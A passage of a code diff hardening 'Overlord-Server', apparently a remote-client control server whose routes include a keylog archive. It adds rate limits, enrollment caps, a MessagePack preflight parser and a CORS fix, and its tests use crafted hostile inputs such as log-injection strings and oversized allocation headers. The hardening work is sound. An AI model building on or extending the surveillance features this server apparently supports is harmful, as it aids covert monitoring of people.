+ const firstId = uniqueId("ip-cap-first");
+ const secondId = uniqueId("ip-cap-second");
+ const ip = `198.51.100.${Math.floor(Math.random() * 100 + 1)}`;
+ expect(upsertPendingClientRow({
+ id: firstId,
+ publicKey: `ip-key-${crypto.randomUUID()}`,
+ enrollmentStatus: "pending",
+ ip,
+ })).toBe(true);
+ expect(upsertPendingClientRow({
+ id: secondId,
+ publicKey: `ip-key-${crypto.randomUUID()}`,
+ enrollmentStatus: "pending",
+ ip,
+ })).toBe(false);
+ } finally {
+ if (saved === undefined) delete process.env[envName];
+ else process.env[envName] = saved;
+ }
+ });
+});
+
+describe("client websocket ingress budget", () => {
+ test("bounds repeated giant frames before MessagePack decoding", () => {
+ const data = { role: "client", clientId: "budget-test" } as SocketData;
+ const giantFrame = 64 * 1024 * 1024;
+ expect(consumeClientIngressBudget(data, giantFrame, 1_000)).toBe(true);
+ expect(consumeClientIngressBudget(data, giantFrame, 1_000)).toBe(true);
+ expect(consumeClientIngressBudget(data, 1, 1_000)).toBe(false);
+ expect(consumeClientIngressBudget(data, giantFrame, 3_000)).toBe(true);
+ });
+
+ test("bounds tiny-message floods independently of byte volume", () => {
+ const data = { role: "client", clientId: "message-budget-test" } as SocketData;
+ for (let i = 0; i < 512; i += 1) {
+ expect(consumeClientIngressBudget(data, 1, 10_000)).toBe(true);
+ }
+ expect(consumeClientIngressBudget(data, 1, 10_000)).toBe(false);
+ expect(consumeClientIngressBudget(data, 1, 11_000)).toBe(true);
+ });
+});
+
+describe("pre-auth enrollment admission", () => {
+ test("caps active challenges globally and per IP with idempotent release", () => {
+ const controller = createEnrollmentAdmissionController({
+ maxActiveGlobal: 2,
+ maxActivePerIp: 1,
+ maxVerifyingGlobal: 1,
+ verificationAttemptsPerSecond: 1,
+ verificationAttemptBurst: 2,
+ });
+ const first = {};
+ const sameIp = {};
+ const secondIp = {};
+ const overGlobal = {};
+
+ expect(controller.admit(first, "198.51.100.1")).toEqual({ ok: true });
+ expect(controller.admit(sameIp, "198.51.100.1")).toEqual({
+ ok: false,
+ reason: "per_ip_socket_limit",
+ });
+ expect(controller.admit(secondIp, "198.51.100.2")).toEqual({ ok: true });
+ expect(controller.admit(overGlobal, "198.51.100.3")).toEqual({
+ ok: false,
+ reason: "global_socket_limit",
+ });
+ expect(controller.stats("198.51.100.1")).toMatchObject({
+ active: 2,
+ activeForIp: 1,
+ verifying: 0,
+ });
+
+ expect(controller.release(first)).toBe(true);
+ expect(controller.release(first)).toBe(false);
+ expect(controller.admit(overGlobal, "198.51.100.3")).toEqual({ ok: true });
+ });
+
+ test("bounds concurrent verification and refills a global attempt bucket", () => {
+ const controller = createEnrollmentAdmissionController({
+ maxActiveGlobal: 4,
+ maxActivePerIp: 4,
+ maxVerifyingGlobal: 1,
+ verificationAttemptsPerSecond: 1,
+ verificationAttemptBurst: 2,
+ });
+ const first = {};
+ const second = {};
+ const third = {};
+ for (const socket of [first, second, third]) {
+ expect(controller.admit(socket, "203.0.113.1")).toEqual({ ok: true });
+ }
+
+ expect(controller.beginVerification(first, 1_000)).toEqual({ ok: true });
+ expect(controller.beginVerification(second, 1_000)).toEqual({
+ ok: false,
+ reason: "verification_concurrency",
+ });
+ expect(controller.release(first)).toBe(true);
+ expect(controller.beginVerification(second, 1_000)).toEqual({ ok: true });
+ expect(controller.release(second)).toBe(true);
+ expect(controller.beginVerification(third, 1_000)).toEqual({
+ ok: false,
+ reason: "verification_rate",
+ });
+ expect(controller.beginVerification(third, 2_000)).toEqual({ ok: true });
+ expect(controller.stats()).toMatchObject({ active: 1, verifying: 1 });
+ expect(controller.release(third)).toBe(true);
+ expect(controller.stats()).toMatchObject({ active: 0, verifying: 0 });
+ });
+});
+
+describe("client disconnect metadata", () => {
+ test("strips controls and clamps agent-supplied values before persistence", () => {
+ const normalized = normalizeDisconnectInfo({
+ reason: ` crash\r\nforged-log\t\u0000${"r".repeat(MAX_DISCONNECT_REASON_LENGTH + 100)} `,
+ detail: ` detail\u0007${"d".repeat(MAX_DISCONNECT_DETAIL_LENGTH + 100)} `,
+ });
+
+ expect(normalized).not.toBeNull();
+ expect(normalized?.reason).not.toContain("\u0000");
+ expect(normalized?.reason).not.toMatch(/[\r\n\t]/);
+ expect(normalized?.reason).toStartWith("crash forged-log ");
+ expect(normalized?.detail).not.toContain("\u0007");
+ expect(normalized?.reason.length).toBeLessThanOrEqual(MAX_DISCONNECT_REASON_LENGTH);
+ expect(normalized?.detail?.length).toBeLessThanOrEqual(MAX_DISCONNECT_DETAIL_LENGTH);
+
+ const exact = normalizeDisconnectInfo({
+ reason: "r".repeat(MAX_DISCONNECT_REASON_LENGTH + 1),
+ detail: "d".repeat(MAX_DISCONNECT_DETAIL_LENGTH + 1),
+ });
+ expect(exact?.reason.length).toBe(MAX_DISCONNECT_REASON_LENGTH);
+ expect(exact?.detail?.length).toBe(MAX_DISCONNECT_DETAIL_LENGTH);
+ });
+
+ test("rejects missing or empty reasons", () => {
+ expect(normalizeDisconnectInfo(null)).toBeNull();
+ expect(normalizeDisconnectInfo({ reason: " \u0000\u0007 " })).toBeNull();
+ expect(normalizeDisconnectInfo({ reason: 42, detail: "ignored" })).toBeNull();
+ });
+});
+
+describe("proxy tunnel payload validation", () => {
+ test("rejects scalar allocation lengths and oversized chunks", () => {
+ expect(normalizeProxyTunnelChunk(0xffff_ffff)).toBeNull();
+ expect(normalizeProxyTunnelChunk({ length: 0xffff_ffff })).toBeNull();
+ expect(normalizeProxyTunnelChunk(new Uint8Array(MAX_PROXY_TUNNEL_CHUNK_BYTES + 1))).toBeNull();
+ });
+
+ test("preserves an accepted view's exact offset and length", () => {
+ const backing = new Uint8Array([9, 1, 2, 3, 8]);
+ const view = new DataView(backing.buffer, 1, 3);
+ expect(normalizeProxyTunnelChunk(view)).toEqual(new Uint8Array([1, 2, 3]));
+ });
+});
+
+describe("pre-enrollment websocket handling", () => {
+ test("strictly rejects non-canonical public keys before identity lookup", async () => {
+ const deniedId = uniqueId("denied-key-alias");
+ const claimedId = uniqueId("denied-key-alias-claim");
+ const keyPair = await crypto.subtle.generateKey("Ed25519", true, ["sign", "verify"]);
+ const publicKey = Buffer.from(await crypto.subtle.exportKey("raw", keyPair.publicKey)).toString("base64");
+ expect(upsertClientRow({
+ id: deniedId,
+ hwid: deniedId,
+ role: "client",
+ publicKey,
+ enrollmentStatus: "denied",
+ })).toBe(true);
+
+ expect(decodeCanonicalBase64(publicKey, 32)).not.toBeNull();
+ expect(decodeCanonicalBase64(`${publicKey}!!`, 32)).toBeNull();
+ expect(decodeCanonicalBase64(` ${publicKey}`, 32)).toBeNull();
+
+ const deps = createLifecycleDeps();
+ const ws = createClientSocket(claimedId, undefined);
+ const activeBefore = getEnrollmentAdmissionStats().active;
+ handleWebSocketOpen(ws, deps);
+ const nonceBytes = Buffer.from(ws.data.enrollmentNonce!, "base64");
+ const signature = Buffer.from(
+ await crypto.subtle.sign("Ed25519", keyPair.privateKey, nonceBytes),
+ ).toString("base64");
+ await handleWebSocketMessage(
+ ws,
+ encodeMessage({
+ type: "hello",
+ id: claimedId,
+ host: "host",
+ os: "test",
+ arch: "x64",
+ version: "1",
+ user: "user",
+ monitors: 1,
+ publicKey: `${publicKey}!!`,
+ signature,
+ }),
+ deps,
+ );
+
+ expect(ws.closes).toContainEqual({ code: 4002, reason: "invalid_signature" });
+ expect(getEnrollmentAdmissionStats().active).toBe(activeBefore);
+ expect(getClientEnrollmentStatus(deniedId)).toBe("denied");
+ expect(clientExists(claimedId)).toBe(false);
+ });
+
+ test("same-ID sockets retain independent enrollment timeouts", () => {
+ const clientId = uniqueId("same-id-timeouts");
+ const firstSocket = createClientSocket(clientId, undefined);
+ const secondSocket = createClientSocket(clientId, undefined);
+ const deps = createLifecycleDeps();
+ const activeBefore = getEnrollmentAdmissionStats().active;
+
+ handleWebSocketOpen(firstSocket, deps);
+ handleWebSocketOpen(secondSocket, deps);
+
+ expect(getEnrollmentAdmissionStats("127.0.0.1").activeForIp).toBeGreaterThanOrEqual(2);
+
+ expect(firstSocket.data.enrollmentTimeout).toBeDefined();
+ expect(secondSocket.data.enrollmentTimeout).toBeDefined();
+ expect(firstSocket.data.enrollmentTimeout).not.toBe(secondSocket.data.enrollmentTimeout);
+
+ handleWebSocketClose(secondSocket, 1000, "closed", deps);
+ expect(secondSocket.data.enrollmentTimeout).toBeUndefined();
+ expect(firstSocket.data.enrollmentTimeout).toBeDefined();
+
+ handleWebSocketClose(firstSocket, 1000, "closed", deps);
+ expect(firstSocket.data.enrollmentTimeout).toBeUndefined();
+ expect(getEnrollmentAdmissionStats().active).toBe(activeBefore);
+ });
+
+ test("consumes the challenge before awaiting verification and rejects concurrent hello", async () => {
+ const clientId = uniqueId("double-hello");
+ const keyPair = await crypto.subtle.generateKey("Ed25519", true, ["sign", "verify"]);
+ const publicKey = Buffer.from(
+ await crypto.subtle.exportKey("raw", keyPair.publicKey),
+ ).toString("base64");
+ const ws = createClientSocket(clientId, undefined);
+ const deps = createLifecycleDeps();
+ const admissionBefore = getEnrollmentAdmissionStats();
+ handleWebSocketOpen(ws, deps);
+ const nonceBytes = Buffer.from(ws.data.enrollmentNonce!, "base64");
+ const signature = Buffer.from(
+ await crypto.subtle.sign("Ed25519", keyPair.privateKey, nonceBytes),
+ ).toString("base64");
+ const hello = encodeMessage({
+ type: "hello",
+ id: clientId,
+ host: "host",
+ os: "test",
+ arch: "x64",
+ version: "1",
+ user: "user",
+ monitors: 1,
+ publicKey,
+ signature,
+ });
+
+ const firstHello = handleWebSocketMessage(ws, hello, deps);
+ expect(ws.data.enrollmentNonce).toBeUndefined();
+ expect(ws.data.enrollmentState).toBe("verifying");
+ expect(getEnrollmentAdmissionStats().verifying).toBe(admissionBefore.verifying + 1);
+
+ const secondHello = handleWebSocketMessage(ws, hello, deps);
+ await Promise.all([firstHello, secondHello]);
+
+ expect(ws.data.enrollmentState).toBe("rejected");
+ expect(ws.closes).toContainEqual({ code: 4002, reason: "unexpected_hello" });
+ expect(getEnrollmentAdmissionStats()).toMatchObject({
+ active: admissionBefore.active,
+ verifying: admissionBefore.verifying,
+ });
+ expect(clientManager.hasClient(clientId)).toBe(false);
+ });
+
+ test("releases challenge and verification capacity after authentication", async () => {
+ const clientId = uniqueId("admission-auth-release");
+ const keyPair = await crypto.subtle.generateKey("Ed25519", true, ["sign", "verify"]);
+ const publicKey = Buffer.from(
+ await crypto.subtle.exportKey("raw", keyPair.publicKey),
+ ).toString("base64");
+ expect(upsertClientRow({
+ id: clientId,
+ publicKey,
+ enrollmentStatus: "approved",
+ })).toBe(true);
+
+ const ws = createClientSocket(clientId, undefined);
+ const deps = createLifecycleDeps();
+ const before = getEnrollmentAdmissionStats();
+ handleWebSocketOpen(ws, deps);
+ expect(getEnrollmentAdmissionStats()).toMatchObject({
+ active: before.active + 1,
+ verifying: before.verifying,
+ });
+
+ const nonceBytes = Buffer.from(ws.data.enrollmentNonce!, "base64");
+ const signature = Buffer.from(
+ await crypto.subtle.sign("Ed25519", keyPair.privateKey, nonceBytes),
+ ).toString("base64");
+ await handleWebSocketMessage(ws, encodeMessage({
+ type: "hello",
+ id: clientId,
+ host: "host",
+ os: "test",
+ arch: "x64",
+ version: "1",
+ user: "user",
+ monitors: 1,
+ publicKey,
+ signature,
+ }), deps);
+
+ expect(ws.data.enrollmentState).toBe("authenticated");
+ expect(clientManager.getClient(clientId)?.ws).toBe(ws);
+ expect(getEnrollmentAdmissionStats()).toMatchObject({
+ active: before.active,
+ verifying: before.verifying,
+ });
+ });
+
+ test("rejects a large frame before enrollment decoding", async () => {
+ const clientId = uniqueId("large-pre-enrollment-frame");
+ const ws = createClientSocket(clientId, undefined);
+ const deps = createLifecycleDeps();
+ const activeBefore = getEnrollmentAdmissionStats().active;
+ handleWebSocketOpen(ws, deps);
+
+ await handleWebSocketMessage(
+ ws,
+ new Uint8Array(32 * 1024 + 1),
+ deps,
+ );
+
+ expect(ws.closes).toEqual([
+ { code: 1009, reason: "Pre-enrollment message too large" },
+ ]);
+ expect(ws.data.enrollmentState).toBe("rejected");
+ expect(getEnrollmentAdmissionStats().active).toBe(activeBefore);
+ });
+
+ test("unauthenticated close cannot consume another client's pending work", () => {
+ const claimedId = uniqueId("preauth-close");
+ const timeout = setTimeout(() => {}, 60_000);
+ const pendingCommandReplies = new Map([
+ ["pending-command", { clientId: claimedId, timeout, resolve() {} }],
+ ]);
+ const ws = createClientSocket(claimedId, undefined);
+ const deps = createLifecycleDeps({ pendingCommandReplies });
+ const activeBefore = getEnrollmentAdmissionStats().active;
+ handleWebSocketOpen(ws, deps);
+
+ handleWebSocketClose(
+ ws,
+ 1000,
+ "closed",
+ deps,
+ );
+
+ clearTimeout(timeout);
+ expect(pendingCommandReplies.has("pending-command")).toBe(true);
+ expect(getEnrollmentAdmissionStats().active).toBe(activeBefore);
+ });
+});
+
+describe("client-bound pending responses", () => {
+ test("a superseded authenticated socket cannot inject messages", async () => {
+ const clientId = uniqueId("superseded-socket");
+ const staleWs = createClientSocket(clientId, "authenticated");
+ const currentWs = createClientSocket(clientId, "authenticated");
+ clientManager.addClient(clientId, {
+ id: clientId,
+ role: "client",
+ ws: currentWs,
+ lastSeen: Date.now(),
+ online: true,
+ });
+ let notifications = 0;
+ await handleWebSocketMessage(
+ staleWs,
+ encodeMessage({ type: "notification", title: "spoofed" } as any),
+ createLifecycleDeps({ handleNotification() { notifications += 1; } }),
+ );
+ expect(notifications).toBe(0);
+ expect(staleWs.closes).toContainEqual({ code: 4004, reason: "superseded" });
+ expect(clientManager.getClient(clientId)?.ws).toBe(currentWs);
+ });
+
+ test("wrong client cannot resolve command, logs, or script replies", async () => {
+ const senderId = uniqueId("reply-sender");
+ const expectedId = uniqueId("reply-owner");
+ const ws = createClientSocket(senderId, "authenticated");
+ clientManager.addClient(senderId, {
+ id: senderId,
+ role: "client",
+ ws,
+ lastSeen: Date.now(),
+ online: true,
+ });
+
+ let commandResolutions = 0;
+ let scriptResolutions = 0;
+ const commandTimeout = setTimeout(() => {}, 60_000);
+ const logTimeout = setTimeout(() => {}, 60_000);
+ const scriptTimeout = setTimeout(() => {}, 60_000);
+ const pendingCommandReplies = new Map([
+ ["command-id", {
+ clientId: expectedId,
+ timeout: commandTimeout,
+ resolve() { commandResolutions += 1; },
+ }],
+ ["logs-id", {
+ clientId: expectedId,
+ timeout: logTimeout,
+ resolve() { commandResolutions += 1; },
+ }],
+ ]);
+ const pendingScripts = new Map([
+ ["script-id", {
+ clientId: expectedId,
+ timeout: scriptTimeout,
+ resolve() { scriptResolutions += 1; },
+ }],
+ ]);
+ let screenshotFailureClientId: string | undefined;
+ const deps = createLifecycleDeps({
+ pendingCommandReplies,
+ pendingScripts,
+ handleNotificationScreenshotFailure(
+ _commandId: string | undefined,
+ _ok: boolean | undefined,
+ _message: string | undefined,
+ clientId: string | undefined,
+ ) {
+ screenshotFailureClientId = clientId;
+ },
+ });
+
+ await handleWebSocketMessage(ws, encodeMessage({
+ type: "command_result",
+ commandId: "command-id",
+ ok: false,
+ }), deps);
+ await handleWebSocketMessage(ws, encodeMessage({
+ type: "client_logs_result",
+ commandId: "logs-id",
+ ok: true,
+ lines: [],
+ } as any), deps);
+ await handleWebSocketMessage(ws, encodeMessage({
+ type: "script_result",
+ commandId: "script-id",
+ ok: true,
+ output: "spoofed",
+ }), deps);
+
+ clearTimeout(commandTimeout);
+ clearTimeout(logTimeout);
+ clearTimeout(scriptTimeout);
+ expect(commandResolutions).toBe(0);
+ expect(scriptResolutions).toBe(0);
+ expect(pendingCommandReplies.has("command-id")).toBe(true);
+ expect(pendingCommandReplies.has("logs-id")).toBe(true);
+ expect(pendingScripts.has("script-id")).toBe(true);
+ expect(screenshotFailureClientId).toBe(senderId);
+ });
+});
diff --git a/Overlord-Server/src/httpHandlers.test.ts b/Overlord-Server/src/httpHandlers.test.ts
index 73fbfe5..aaefbb6 100644
--- a/Overlord-Server/src/httpHandlers.test.ts
+++ b/Overlord-Server/src/httpHandlers.test.ts
@@ -102,5 +102,6 @@ describe("handleClientsRequest", () => {
expect(res.status).toBe(200);
const ct = res.headers.get("content-type") || "";
expect(ct).toContain("json");
+ expect(res.headers.get("access-control-allow-origin")).toBe("null");
});
});
diff --git a/Overlord-Server/src/httpHandlers.ts b/Overlord-Server/src/httpHandlers.ts
index 51deac7..94a3e39 100644
--- a/Overlord-Server/src/httpHandlers.ts
+++ b/Overlord-Server/src/httpHandlers.ts
@@ -6,13 +6,9 @@ import { v4 as uuidv4 } from "uuid";
import { metrics } from "./metrics";
import { logAudit, AuditAction } from "./auditLog";
import { sendPingRequest } from "./wsHandlers";
+import { CORS_HEADERS } from "./server/http-security";
const DEFAULT_PAGE_SIZE = 12;
-const CORS_HEADERS = {
- "Access-Control-Allow-Origin": "*",
- "Access-Control-Allow-Methods": "GET,OPTIONS",
- "Access-Control-Allow-Headers": "Content-Type",
-};
export function handleClientsRequest(req: Request): Response {
const url = new URL(req.url);
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index 6169a3d..ad0c651 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -773,7 +773,10 @@ async function startServer() {
(req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload),
(req, url) => handleKeylogArchiveRoutes(req, url, { CORS_HEADERS }),
(req, url) => handlePluginRoutes(req, url, routeDeps.plugin),
- (req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare),
+ (req, url, srv) => handleFileShareRoutes(req, url, {
+ ...routeDeps.fileShare,
+ requestIP: (srv as any).requestIP,
+ }),
(req, url, srv) => handleMiscRoutes(req, url, {
...routeDeps.misc,
requestIP: (srv as any).requestIP,
diff --git a/Overlord-Server/src/messagepack-preflight.test.ts b/Overlord-Server/src/messagepack-preflight.test.ts
new file mode 100644
index 0000000..ec0faba
--- /dev/null
+++ b/Overlord-Server/src/messagepack-preflight.test.ts
@@ -0,0 +1,100 @@
+import { describe, expect, test } from "bun:test";
+import { encode } from "@msgpack/msgpack";
+import {
+ DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS,
+ MessagePackPreflightError,
+ preflightMessagePack,
+} from "./messagepack-preflight";
+import { decodeMessage } from "./protocol";
+
+function container32(prefix: 0xdd | 0xdf, count: number): Uint8Array {
+ return new Uint8Array([
+ prefix,
+ (count >>> 24) & 0xff,
+ (count >>> 16) & 0xff,
+ (count >>> 8) & 0xff,
+ count & 0xff,
+ ]);
+}
+
+describe("MessagePack allocation preflight", () => {
+ test("accepts normal mixed wire data and Uint8Array subviews", () => {
+ const encoded = encode({
+ type: "ping",
+ ts: 123.5,
+ nested: [null, true, -300, "hello", new Uint8Array([1, 2, 3])],
+ metadata: { ok: true },
+ });
+ const backing = new Uint8Array(encoded.byteLength + 2);
+ backing.set(encoded, 1);
+ const subview = backing.subarray(1, backing.length - 1);
+
+ expect(() => preflightMessagePack(subview)).not.toThrow();
+ expect((decodeMessage(subview) as any).nested[4]).toEqual(new Uint8Array([1, 2, 3]));
+ });
+
+ test("accepts fixed and variable extension framing", () => {
+ expect(() => preflightMessagePack(new Uint8Array([0xd4, 0x01, 0xff]))).not.toThrow();
+ expect(() => preflightMessagePack(new Uint8Array([0xc7, 0x00, 0x01]))).not.toThrow();
+ });
+
+ test("accepts encoder output across 16-bit and 32-bit length boundaries", () => {
+ const value = {
+ mediumText: "m".repeat(300),
+ largeText: "l".repeat(70_000),
+ mediumBytes: new Uint8Array(300),
+ largeBytes: new Uint8Array(70_000),
+ array16: Array.from({ length: 20 }, (_, index) => index),
+ map16: Object.fromEntries(Array.from({ length: 20 }, (_, index) => [`k${index}`, index])),
+ };
+
+ expect(() => preflightMessagePack(encode(value))).not.toThrow();
+ });
+
+ test("does not impose the former low container-item limit", () => {
+ const aboveFormerLimit = 16_385;
+ for (const prefix of [0xdd, 0xdf] as const) {
+ expect(() => preflightMessagePack(container32(prefix, aboveFormerLimit)))
+ .toThrow("truncated value header");
+ }
+ });
+
+ test("rejects depth amplification while allowing the configured boundary", () => {
+ const allowed = new Uint8Array([
+ ...new Array(DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS.maxDepth - 1).fill(0x91),
+ 0xc0,
+ ]);
+ const tooDeep = new Uint8Array([
+ ...new Array(DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS.maxDepth).fill(0x91),
+ 0xc0,
+ ]);
+
+ expect(() => preflightMessagePack(allowed)).not.toThrow();
+ expect(() => preflightMessagePack(tooDeep)).toThrow("nesting depth limit exceeded");
+ });
+
+ test("accepts aggregate value counts above the former fixed ceiling", () => {
+ const payload = encode(Array.from({ length: 70_000 }, (_, index) => [index]));
+ expect(() => preflightMessagePack(payload)).not.toThrow();
+ });
+
+ test("rejects truncated strings and containers", () => {
+ expect(() => preflightMessagePack(new Uint8Array([0xdb, 0, 0, 0, 4, 0x61])))
+ .toThrow("truncated str32 body");
+ expect(() => preflightMessagePack(new Uint8Array([0x91])))
+ .toThrow("truncated value header");
+ });
+
+ test("requires exactly one root value and rejects reserved prefixes", () => {
+ expect(() => preflightMessagePack(new Uint8Array([0xc0, 0xc0])))
+ .toThrow("trailing bytes after root value");
+ expect(() => preflightMessagePack(new Uint8Array([0xc1])))
+ .toThrow(MessagePackPreflightError);
+ });
+
+ test("decodeMessage applies the preflight before the library decoder", () => {
+ const declaredBillions = container32(0xdd, 0xffff_ffff);
+ expect(() => decodeMessage(declaredBillions))
+ .toThrow("truncated value header");
+ });
+});
diff --git a/Overlord-Server/src/messagepack-preflight.ts b/Overlord-Server/src/messagepack-preflight.ts
new file mode 100644
index 0000000..39f862a
--- /dev/null
+++ b/Overlord-Server/src/messagepack-preflight.ts
@@ -0,0 +1,213 @@
+export type MessagePackPreflightLimits = {
+ maxDepth: number;
+ maxContainerItems: number;
+};
+
+export const DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS: Readonly =
+ Object.freeze({
+ maxDepth: 32,
+ maxContainerItems: 0xffff_ffff,
+ });
+
+export class MessagePackPreflightError extends Error {
+ constructor(message: string) {
+ super(`Unsafe MessagePack payload: ${message}`);
+ this.name = "MessagePackPreflightError";
+ }
+}
+
+function positiveIntegerLimit(value: number | undefined, fallback: number): number {
+ const numeric = Number(value);
+ if (!Number.isFinite(numeric) || numeric <= 0) return fallback;
+ return Math.min(Number.MAX_SAFE_INTEGER, Math.floor(numeric));
+}
+
+function asBytes(input: Uint8Array | ArrayBuffer): Uint8Array {
+ return input instanceof Uint8Array ? input : new Uint8Array(input);
+}
+
+export function preflightMessagePack(
+ input: Uint8Array | ArrayBuffer,
+ limits: Partial = {},
+): void {
+ const bytes = asBytes(input);
+ const view = new DataView(bytes.buffer, bytes.byteOffset, bytes.byteLength);
+ const maxDepth = positiveIntegerLimit(
+ limits.maxDepth,
+ DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS.maxDepth,
+ );
+ const maxContainerItems = positiveIntegerLimit(
+ limits.maxContainerItems,
+ DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS.maxContainerItems,
+ );
+ let offset = 0;
+ let pendingValues = 1;
+ const stack: Array<{ remaining: number; depth: number }> = [
+ { remaining: 1, depth: 1 },
+ ];
+
+ const fail = (message: string): never => {
+ throw new MessagePackPreflightError(message);
+ };
+ const requireBytes = (count: number, context: string): void => {
+ if (!Number.isSafeInteger(count) || count < 0 || count > bytes.length - offset) {
+ fail(`truncated ${context}`);
+ }
+ };
+ const readUint8 = (context: string): number => {
+ requireBytes(1, context);
+ return view.getUint8(offset++);
+ };
+ const readUint16 = (context: string): number => {
+ requireBytes(2, context);
+ const value = view.getUint16(offset);
+ offset += 2;
+ return value;
+ };
+ const readUint32 = (context: string): number => {
+ requireBytes(4, context);
+ const value = view.getUint32(offset);
+ offset += 4;
+ return value;
+ };
+ const skip = (count: number, context: string): void => {
+ requireBytes(count, context);
+ offset += count;
+ };
+ const skipExtension = (length: number): void => {
+ skip(1, "extension type");
+ skip(length, "extension body");
+ };
+
+ while (stack.length > 0) {
+ const frame = stack[stack.length - 1]!;
+ if (frame.remaining === 0) {
+ stack.pop();
+ continue;
+ }
+ frame.remaining -= 1;
+ pendingValues -= 1;
+ if (frame.depth > maxDepth) fail("nesting depth limit exceeded");
+
+ const prefix = readUint8("value header");
+ let containerItems: number | null = null;
+ let childValues = 0;
+
+ if (prefix <= 0x7f || prefix >= 0xe0) {
+ } else if (prefix >= 0x80 && prefix <= 0x8f) {
+ containerItems = prefix & 0x0f;
+ childValues = containerItems * 2;
+ } else if (prefix >= 0x90 && prefix <= 0x9f) {
+ containerItems = prefix & 0x0f;
+ childValues = containerItems;
+ } else if (prefix >= 0xa0 && prefix <= 0xbf) {
+ skip(prefix & 0x1f, "fixed string body");
+ } else {
+ switch (prefix) {
+ case 0xc0: // nil
+ case 0xc2: // false
+ case 0xc3: // true
+ break;
+ case 0xc1:
+ fail("reserved 0xc1 prefix");
+ break;
+ case 0xc4:
+ skip(readUint8("bin8 length"), "bin8 body");
+ break;
+ case 0xc5:
+ skip(readUint16("bin16 length"), "bin16 body");
+ break;
+ case 0xc6:
+ skip(readUint32("bin32 length"), "bin32 body");
+ break;
+ case 0xc7:
+ skipExtension(readUint8("ext8 length"));
+ break;
+ case 0xc8:
+ skipExtension(readUint16("ext16 length"));
+ break;
+ case 0xc9:
+ skipExtension(readUint32("ext32 length"));
+ break;
+ case 0xca:
+ skip(4, "float32 body");
+ break;
+ case 0xcb:
+ skip(8, "float64 body");
+ break;
+ case 0xcc:
+ case 0xd0:
+ skip(1, "8-bit integer body");
+ break;
+ case 0xcd:
+ case 0xd1:
+ skip(2, "16-bit integer body");
+ break;
+ case 0xce:
+ case 0xd2:
+ skip(4, "32-bit integer body");
+ break;
+ case 0xcf:
+ case 0xd3:
+ skip(8, "64-bit integer body");
+ break;
+ case 0xd4:
+ skipExtension(1);
+ break;
+ case 0xd5:
+ skipExtension(2);
+ break;
+ case 0xd6:
+ skipExtension(4);
+ break;
+ case 0xd7:
+ skipExtension(8);
+ break;
+ case 0xd8:
+ skipExtension(16);
+ break;
+ case 0xd9:
+ skip(readUint8("str8 length"), "str8 body");
+ break;
+ case 0xda:
+ skip(readUint16("str16 length"), "str16 body");
+ break;
+ case 0xdb:
+ skip(readUint32("str32 length"), "str32 body");
+ break;
+ case 0xdc:
+ containerItems = readUint16("array16 length");
+ childValues = containerItems;
+ break;
+ case 0xdd:
+ containerItems = readUint32("array32 length");
+ childValues = containerItems;
+ break;
+ case 0xde:
+ containerItems = readUint16("map16 length");
+ childValues = containerItems * 2;
+ break;
+ case 0xdf:
+ containerItems = readUint32("map32 length");
+ childValues = containerItems * 2;
+ break;
+ default:
+ fail(`unknown prefix 0x${prefix.toString(16).padStart(2, "0")}`);
+ }
+ }
+
+ if (containerItems !== null) {
+ if (containerItems > maxContainerItems) fail("per-container item limit exceeded");
+ if (childValues > 0 && frame.depth >= maxDepth) {
+ fail("nesting depth limit exceeded");
+ }
+ pendingValues += childValues;
+ if (childValues > 0) {
+ stack.push({ remaining: childValues, depth: frame.depth + 1 });
+ }
+ }
+ }
+
+ if (pendingValues !== 0) fail("truncated container");
+ if (offset !== bytes.length) fail("trailing bytes after root value");
+}
diff --git a/Overlord-Server/src/metrics.test.ts b/Overlord-Server/src/metrics.test.ts
index 2fc6bab..9fe365a 100644
--- a/Overlord-Server/src/metrics.test.ts
+++ b/Overlord-Server/src/metrics.test.ts
@@ -1,5 +1,5 @@
import { describe, expect, test, beforeEach } from "bun:test";
-import { metrics } from "./metrics";
+import { MAX_HTTP_METRIC_ROUTE_KEYS, metrics } from "./metrics";
beforeEach(() => {
metrics.reset();
@@ -151,6 +151,15 @@ describe("MetricsCollector", () => {
"GET /api/clients",
]);
});
+
+ test("caps attacker-controlled HTTP route cardinality", () => {
+ for (let i = 0; i < MAX_HTTP_METRIC_ROUTE_KEYS + 200; i++) {
+ metrics.recordHttpRequest(i, 404, `GET /random-${i}`);
+ }
+
+ expect((metrics as any).httpRouteSamples.size).toBe(MAX_HTTP_METRIC_ROUTE_KEYS);
+ expect((metrics as any).httpRouteSamples.has("OTHER high-cardinality routes")).toBe(true);
+ });
});
describe("snapshot structure", () => {
diff --git a/Overlord-Server/src/metrics.ts b/Overlord-Server/src/metrics.ts
index d73ba00..ab64b8f 100644
--- a/Overlord-Server/src/metrics.ts
+++ b/Overlord-Server/src/metrics.ts
@@ -130,6 +130,9 @@ interface TimedInternalTaskSample {
duration: number;
}
+export const MAX_HTTP_METRIC_ROUTE_KEYS = 512;
+const OVERFLOW_HTTP_METRIC_ROUTE = "OTHER high-cardinality routes";
+
class MetricsCollector {
private startTime: number = Date.now();
@@ -421,12 +424,25 @@ class MetricsCollector {
this.httpSamples.splice(0, this.httpSamples.length - this.maxHttpLatencyHistory);
}
- const routeSamples = this.httpRouteSamples.get(route) || [];
+ let retainedRoute = route;
+ if (
+ !this.httpRouteSamples.has(retainedRoute)
+ && !this.httpRouteSamples.has(OVERFLOW_HTTP_METRIC_ROUTE)
+ && this.httpRouteSamples.size >= MAX_HTTP_METRIC_ROUTE_KEYS - 1
+ ) {
+ retainedRoute = OVERFLOW_HTTP_METRIC_ROUTE;
+ } else if (
+ !this.httpRouteSamples.has(retainedRoute)
+ && this.httpRouteSamples.size >= MAX_HTTP_METRIC_ROUTE_KEYS
+ ) {
+ retainedRoute = OVERFLOW_HTTP_METRIC_ROUTE;
+ }
+ const routeSamples = this.httpRouteSamples.get(retainedRoute) || [];
routeSamples.push(sample);
if (routeSamples.length > this.maxHttpRouteSamples) {
routeSamples.splice(0, routeSamples.length - this.maxHttpRouteSamples);
}
